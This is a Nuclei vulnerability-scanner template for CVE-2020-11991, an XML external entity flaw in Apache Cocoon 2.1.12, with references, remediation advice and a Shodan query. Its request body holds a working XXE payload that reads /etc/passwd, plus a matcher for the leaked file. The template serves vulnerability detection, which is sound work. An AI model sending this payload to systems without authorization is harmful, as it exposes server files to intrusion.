nuclei-templates/cves/2020/CVE-2020-11991.yaml

48 lines
1.4 KiB
YAML
Raw Normal View History

2021-02-13 07:17:02 +00:00
id: CVE-2020-11991
info:
2022-11-29 05:33:38 +00:00
name: Apache Cocoon 2.1.12 - XML Injection
2021-02-13 07:17:02 +00:00
author: pikpikcu
severity: high
description: Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
reference:
- https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
- https://nvd.nist.gov/vuln/detail/CVE-2020-11991
- https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
remediation: Upgrade to Apache Cocoon 2.1.13 or later.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-11991
cwe-id: CWE-611
metadata:
shodan-query: http.html:"Apache Cocoon"
tags: cve,cve2020,apache,xml,cocoon,xxe
2021-02-13 07:17:02 +00:00
requests:
- method: POST
path:
- "{{BaseURL}}/v2/api/product/manger/getInfo"
headers:
Content-Type: "text/xml"
2021-02-13 07:17:02 +00:00
body: |
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
2021-02-13 08:02:07 +00:00
<firstName>John</firstName>
2021-02-13 07:17:02 +00:00
<lastName>&ent;</lastName>
</userInfo>
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
2021-02-13 07:49:37 +00:00
2021-02-13 07:17:02 +00:00
- type: status
status:
- 200
# Enhanced by mp on 2022/04/05